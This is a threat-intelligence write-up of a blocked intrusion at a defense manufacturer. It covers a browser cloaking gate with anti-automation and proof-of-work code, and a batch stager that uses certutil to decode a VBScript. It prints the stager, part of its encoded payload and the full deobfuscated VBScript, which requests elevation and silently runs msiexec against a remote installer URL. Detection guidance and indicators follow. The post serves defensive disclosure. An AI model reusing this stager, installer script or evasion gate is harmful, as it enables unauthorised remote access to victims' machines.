Cloaking Gate Fronts a Certutil Stager Deploying ScreenConnect

by Dylan Haase on Sep 30, 2026

it-professional-monitoring-network-security-interf-2026-09-25-05-54-58-utc

Executive Summary

On September 3, 2026, RADICL observed an attempted intrusion on a Windows endpoint at a defense manufacturing client. A user downloaded a ZIP archive from a domain registered roughly four days earlier. The archive contained a batch script named to resemble a Microsoft project document. The script used certutil.exe to decode an embedded VBScript which, had it run, would have raised a UAC prompt and then invoked msiexec against a Cloudflare R2 URL naming a ScreenConnect client installer. 

CrowdStrike Falcon blocked the decode step at 13:10:17 UTC. No payload was installed, and no ScreenConnect artifact appears anywhere in the tenant. 

The delivery domain is fronted by a two-stage browser gate that fingerprints the visitor, requires a click and a proof-of-work solve, and resolves its destination server-side. The archive was recovered by traversing that gate manually; because the decode was blocked, no stager artifact existed on the endpoint to collect. 

Delivery Infrastructure: Stage One 

The gate described here and in the next section was captured during the investigation. Fifty-seven seconds elapsed between the victim's browser resolving the domain and the ZIP landing on disk. 

The gate consists of two chained HTML interstitials. The first performs passive fingerprinting. 

Its title is Just a moment, paired with a spinner and the text "Preparing secure session…". That title and layout match Cloudflare's challenge page. Cloudflare's challenge does not implement its checks as inline JavaScript in the page body. 

CSS class names and the keyframe identifier are randomized strings (.dou7gjsl, .g5sarux3bx, @keyframes rf8jynv). The remaining markup is unminified and no build tooling is in evidence. 

The automation checks: 

function auto(){ 
    if(navigator.webdriver)return true; 
    if(window.callPhantom||window._phantom||window.phantom)return true; 
    if(document.__selenium_unwrapped||document.__webdriver_evaluate)return true; 
    var ua=navigator.userAgent||""; 
    if(/HeadlessChrome|PhantomJS|Playwright|Puppeteer/i.test(ua))return true; 
    if(/Chrome\//.test(ua)&&!window.chrome)return true; 
    if(!navigator.languages||navigator.languages.length===0)return true; 
    if(!navigator.language)return true; 
    return false; 
} 

In order: the WebDriver flag, set by Selenium and by Puppeteer and Playwright unless patched; globals injected by PhantomJS and by Selenium's instrumentation; a user-agent substring match against four automation frameworks; a consistency test for a user-agent claiming Chrome without the window.chrome object; and two tests for absent locale data, which headless Chrome has historically shipped with an empty navigator.languages array. 

The five tests target different layers of an automated client. navigator.webdriver is defined by the W3C WebDriver specification and is set by any conforming driver, so it identifies automation as a category without naming a tool. The PhantomJS and Selenium globals are artifacts those frameworks inject into page context, identifying specific tooling by its own instrumentation.

The user-agent match only fires on a client that volunteers the string, which legacy headless Chrome does by appending HeadlessChrome to its user-agent and which Playwright and Puppeteer do not do by default. All three are under the visitor's control — the flag can be overwritten, the injected globals deleted, the user-agent set to anything — so each is defeated by an operator who knows it is there. The last two test whether the runtime is consistent with a declaration.

A client sending Chrome/ in its user-agent while exposing no window.chrome object has had its string edited without the runtime behind it. Absent locale data indicates a browser process started with no user configuration, which older headless builds did by default. 

Passing sets a cookie and reloads: 

var TOKEN="1788502363.e306548e37b17d2f"; 
... 
document.cookie="_pre_check="+TOKEN+";path=/;max-age="+TTL+";SameSite=Lax;Secure"; 
location.reload(); 

The token follows the pattern <unix_epoch>.<16 hex characters>. In the captured sample the epoch component resolves to 06:12:43 UTC on September 4, 2026. TTL is 600 seconds. 

Three triggers advance the stage: pointer movement, touch, or a 2,200 millisecond timer, all subject to a floor of 2,000 milliseconds since page load. The timer fallback means interaction is not required at this stage. Requiring interaction here would also drop real visitors whose pointer never moves, so the fallback admits a headless browser that waits in exchange for not losing those targets. 

Both stages carry a Cloudflare Web Analytics beacon with a valid subresource-integrity hash and the shared token fd80b17df365497c9fe7cc0797c36c07. Reporting to the operator's own analytics property yields per-stage visit counts, which measure how many targets reach each interstitial and how many complete the gate. This allows the operator to use this data to perform better attacks by learning from this attack. 

Delivery Infrastructure: Stage Two 

The second interstitial is titled Confirm access.

The reference code displayed to the visitor: 

if(g31pdeua)g31pdeua.textContent=Math.random().toString(36).slice(2,10).toUpperCase();

It is generated client-side and is not transmitted to the server.

The document carries meta tags with real names and invalid values (distribution set to iuqst5xuxh5267, where valid values are global, local, iu; rating set to check, where valid values are general, mature) and one name that does not exist, hkuo72cl1. Two one-pixel elements carry random strings and are not referenced by any script. Every data-* attribute in the markup carries a random value and is not read. 

On click — the handler is bound to click only, with no timer fallback — the page fetches a challenge from /c4a8b2, solves it, and POSTs the solution to /v9f3e1. 

The solver runs in Web Workers constructed from a Blob and instantiated via URL.createObjectURL, so the worker source is not fetched as a separate request.

Unpacked and commented: 

self.onmessage = async function(e){ 
  const {challenge:c, difficulty:d, workerId:w, rounds:r, workers:n} = e.data; 
  const t = Math.pow(2,32) / Math.pow(2,d);      // acceptance threshold 
  let i = w || 0;                                 // start offset = worker index 
  const rr = Math.max(0, Math.min(r||0, 64));     // re-digest rounds, capped at 64 
  while(true){ 
    const b = new TextEncoder().encode(c + i); 
    let h = await crypto.subtle.digest("SHA-256", b); 
    for(let j=0; j<rr; j++) h = await crypto.subtle.digest("SHA-256", h); 
    const a = new Uint8Array(h); 
    const v = (a[0]<<24 | a[1]<<16 | a[2]<<8 | a[3]) >>> 0; 
    if(v < t){ postMessage({solution:i}); return } 
    i += n; 
  } 
} 

The acceptance test is hashcash expressed as a numeric threshold rather than a leading-zeros count. Workers start at their own index and stride by the worker count. Parallelism is capped at six, or the reported core count if lower. 

Difficulty and rounds are both supplied by the server. Difficulty sets the acceptance threshold as 2^32 / 2^d. rounds re-digests each candidate up to 64 times. The client caps the solve at 45 seconds. 

Elapsed solve time is measured and padded out to a server-specified minimum with a floor of 2,000 milliseconds. 

Destination handling: 

var nnzl9fn1qik = window.location.hash || ""; 
if(o1zjia4m.redirect){ window.location.href = o1zjia4m.redirect + nnzl9fn1qik; return } 
fetch("/get-session",{credentials:"same-origin"}) 
  .then(r=>r.json()) 
  .then(d=>{ window.location.href = (d.url||"/") + nnzl9fn1qik; }) 

The destination arrives by one of two server-side paths: carried in the /v9f3e1 response, or supplied by a third request to /get-session. Neither value appears in page source. 

The URL fragment is read and appended to the destination. A fragment is not transmitted to a server in the HTTP request. What this deployment's fragment carried was not observed. 

The Batch Stager

Project-2026.Microsoft ®.bat is 24 lines. The source analysis records its SHA256 as b4a5143dc28ca66ef1d16d6b974f150f522d6233866e5f84c055737c543b7b6d and reports it as absent from public threat intelligence at the time of that analysis. 

@echo off 
setlocal EnableExtensions 

echo -----BEGIN SIGNED DATA----->"%TEMP%\bvsXP.b64" 
echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KRGltIEhZUnI6SFlScj1BcnJheSgieVNtTU5jVnNWdC>>"%TEMP%\bvsXP.b64" 
echo IsImM1LiIsImh0dCIsIjNlNSIsInVwLiIsIi8vcCIsIi9TYyIsInIyLiIsIlNldCIsIjU4NiIs>>"%TEMP%\bvsXP.b64" 
[... 14 further base64 lines elided; 16 in total ...] 
echo -----END SIGNED DATA----->>"%TEMP%\bvsXP.b64" 
certutil -decode "%TEMP%\bvsXP.b64" "%TEMP%\BySGU.vbs" >nul 2>&1 
del "%TEMP%\bvsXP.b64" >nul 2>&1 
start "" /min wscript.exe //nologo "%TEMP%\BySGU.vbs" 
exit /b 

PEM wrapper. The base64 payload is written to disk between -----BEGIN SIGNED DATA----- and -----END SIGNED DATA----- markers. These are not PEM labels defined for any certificate or key type. certutil -decode accepts any label between PEM markers and does not validate it. 

Decode. certutil.exe is a Microsoft-signed certificate utility present on every Windows installation. Its -decode flag strips PEM headers and writes the decoded content to a file, here a VBScript. Output is redirected to null. MITRE ATT&CK T1140. This is the step Falcon blocked.

Deletion. The intermediate base64 file is deleted immediately after the decode call. 

Launch. start "" /min opens the process minimized, //nologo suppresses the Windows Script Host banner, and exit /b closes the console. 

The start line is not conditional on the exit status of certutil. With the decode blocked, the script launched wscript.exe against a path where no file had been written, producing the failed process recorded at 13:10:18 UTC.

The Decoded VBScript

Decoding the 16-line base64 blob yields eleven statements. Reproduced below with the two long lines wrapped for legibility; in the original, the Array(...) literal and the PLLa assignment are each a single unbroken line. 

On Error Resume Next 

Dim HYRr:HYRr=Array("ySmMNcVsVt","c5.","htt","3e5","up.","//p","/Sc","r2.","Set", 
  "586","c4e","vnZoprQUT","ent","110","252","dev","291","msi","ps:","ree", 
  "ub-","nne","401","Cli","f0c","ct.","da2","XLjgzbSMiG","81c", 
  "QXxariwDWyYv","nCo") 
Dim PLLa:PLLa=HYRr(2)&HYRr(18)&HYRr(5)&HYRr(20)&HYRr(10)&HYRr(24)&HYRr(26)& 
  HYRr(3)&HYRr(22)&HYRr(9)&HYRr(28)&HYRr(13)&HYRr(16)&HYRr(14)&HYRr(1)& 
  HYRr(7)&HYRr(15)&HYRr(6)&HYRr(19)&HYRr(30)&HYRr(21)&HYRr(25)&HYRr(23)& 
  HYRr(12)&HYRr(8)&HYRr(4)&HYRr(17) 

If Not WScript.Arguments.Named.Exists("elevate") Then 
  Dim DK:Set DK=CreateObject("Shell.Application") 
  Dim TY:TY=Chr(34)&WScript.ScriptFullName&Chr(34) 
  DK.ShellExecute "cscript.exe","//nologo //B "&TY&" /elevate","","runas",0 
  WScript.Quit 
End If 
Dim xh:Set xh=CreateObject("WScript.Shell") 
xh.Run "msiexec /i """ & PLLa & """ /qn /norestart",0,True 

On Error Resume Next suppresses runtime errors. 

The URL is split across 31 array elements in scrambled order. The assembly sequence references 27 of them. Four — indices 0, 11, 27, and 29 (ySmMNcVsVt, vnZoprQUT, XLjgzbSMiG, QXxariwDWyYv) — are never referenced. Concatenating the array in index order does not produce the URL. 

The 27-element sequence resolves as follows: 

Step

Index

Fragment

Running assembly

1–4

2, 18, 5, 20

htt ps: //p ub-

https://pub-

5–14

10, 24, 26, 3, 22, 9, 28, 13, 16, 14

c4e f0c da2 3e5 401 586 81c 110 291 252

https://pub-c4ef0cda23e540158681c110291252

15–17

1, 7, 15

c5. r2. dev

https://pub-c4ef0cda23e540158681c110291252c5.r2.dev

18–27

6, 19, 30, 21, 25, 23, 12, 8, 4, 17

/Sc ree nCo nne ct. Cli ent Set up. msi

…/ScreenConnect.ClientSetup.msi

 

Final assembled URL: 

hxxps[://]pub-c4ef0cda23e540158681c110291252c5.r2[.]dev/ScreenConnect.ClientSetup.msi 

The bucket label is pub- followed by 32 hexadecimal characters, the standard form of a Cloudflare R2 public bucket hostname. 

Elevation. On first execution the script finds no /elevate argument and relaunches itself through Shell.Application.ShellExecute with the verb runas, producing a UAC consent prompt. Chr(34) supplies the double-quote characters wrapping the script path. If the user consents, the script re-executes elevated with the flag set and proceeds to the install step. If not, execution ends. This requires user consent and is not a UAC bypass. 

Install. The final line runs: 

msiexec /i "hxxps[://]pub-c4ef0cda23e540158681c110291252c5.r2[.]dev/ScreenConnect.ClientSetup.msi" /qn /norestart 

msiexec accepts a URL to /i and fetches and executes the installer without writing it to disk first. /qn suppresses the user interface, /norestart suppresses the reboot prompt, the 0 parameter hides the window, and True blocks until the call returns.

The Intended Payload

The URL was recovered by decoding and deobfuscating the stager. It addresses a Cloudflare R2 public bucket and names a file ScreenConnect.ClientSetup.msi. This file was not fetched as a result of the decode being blocked by Crowdstrike. R2 resolves through Cloudflare's CDN. 

ConnectWise ScreenConnect client installers are vendor-signed and are built per-instance with the server address and access parameters embedded, so an installed client connects to the instance that generated it. Whether the file at this URL is such an installer was not confirmed: it was not fetched, no hash was computed, no signature was checked, and no server address was recovered. Establishing any of it requires retrieving and examining the MSI in an isolated environment.

Detection Guidance

Endpoint.

  • certutil -decode writing a .vbs or .ps1 file into %TEMP%. This is the detection that fired on this intrusion. 

  • msiexec /i against an http:// or https:// URL. Enterprise deployment normally uses UNC paths, local paths, SCCM, or Intune. 

  • A script or executable running from a nested archive extraction path under %TEMP%. 

  • The process chain cmd.exe to certutil.exe to wscript.exe originating from a user-initiated file open. 

  • wscript.exe or cscript.exe relaunching itself with the runas verb. 

  • ScreenConnect client traffic to an instance not on an approved list. 

Network and proxy content inspection.

  • Set-Cookie values matching ^\d{10}\.[0-9a-f]{16}$. 

  • Short randomized paths returning JSON containing both nonce and difficulty keys. 

  • Response bodies pairing URL.createObjectURL(new Blob( with new Worker( and crypto.subtle.digest("SHA-256". 

  • Redirect chains where the intermediate response body contains no link to the final destination. 

  • Outbound HTTPS from msiexec.exe to *.r2[.]dev. 

Indicators of Compromise

Defanged. Do not resolve or retrieve without isolation. 

Domains 

  • btbownturbo[.]vu

  • file.btbownturbo[.]vu 

 

URLs 

  • hxxps[://]file.btbownturbo[.]vu/new-2026project/download[.]php

  • hxxps[://]file.btbownturbo[.]vu/new-2026project/complete[.]php 

  • hxxps[://]pub-c4ef0cda23e540158681c110291252c5.r2[.]dev/ScreenConnect.ClientSetup.msi — referenced by the stager; never retrieved or analyzed 

File Hashes 

  • b4a5143dc28ca66ef1d16d6b974f150f522d6233866e5f84c055737c543b7b6d — SHA256, Project-2026.Microsoft ®.bat, Windows batch script. Reported by the source analysis as absent from public threat intelligence at the time of that analysis 

Host Indicators 

  • Project-2026.zip — 1,096 bytes, Mark-of-the-Web Internet zone

  • Project-2026.Microsoft ®.bat 

  • %TEMP%\bvsXP.b64 — intermediate base64, deleted by the stager after the decode call 

  • %TEMP%\BySGU.vbs — decoded VBScript stage two 

Cloaking Gate Indicators 

  • Cloudflare Web Analytics token fd80b17df365497c9fe7cc0797c36c07, shared across both stages 

  • Cookie name _pre_check, value pattern <unix_epoch>.<16 hex characters> 

  • Endpoint paths /c4a8b2, /v9f3e1, /get-session 

  • Page titles Just a moment (stage one), Confirm access (stage two) 

  • Meta name hkuo72cl1 

  • Proof-of-work JSON keys nonce, difficulty, rounds, cid, wait_ms 

MITRE ATT&CK

Observed: T1583.001 (Acquire Infrastructure: Domains) · T1566.002 (Spearphishing Link) · T1204.002 (User Execution: Malicious File) · T1036.005 (Match Legitimate Resource Name or Location) · T1027.009 (Embedded Payloads) · T1140 (Deobfuscate/Decode Files or Information) · T1059.003 (Windows Command Shell) · T1059.005 (Visual Basic) · T1070.004 (Indicator Removal: File Deletion) 

Attempted, not achieved: T1548.002 (Abuse Elevation Control Mechanism — user-consented UAC prompt, not a bypass) · T1105 (Ingress Tool Transfer) · T1219 (Remote Access Software) 

Get Email Notifications

No Comments Yet

Let us know what you think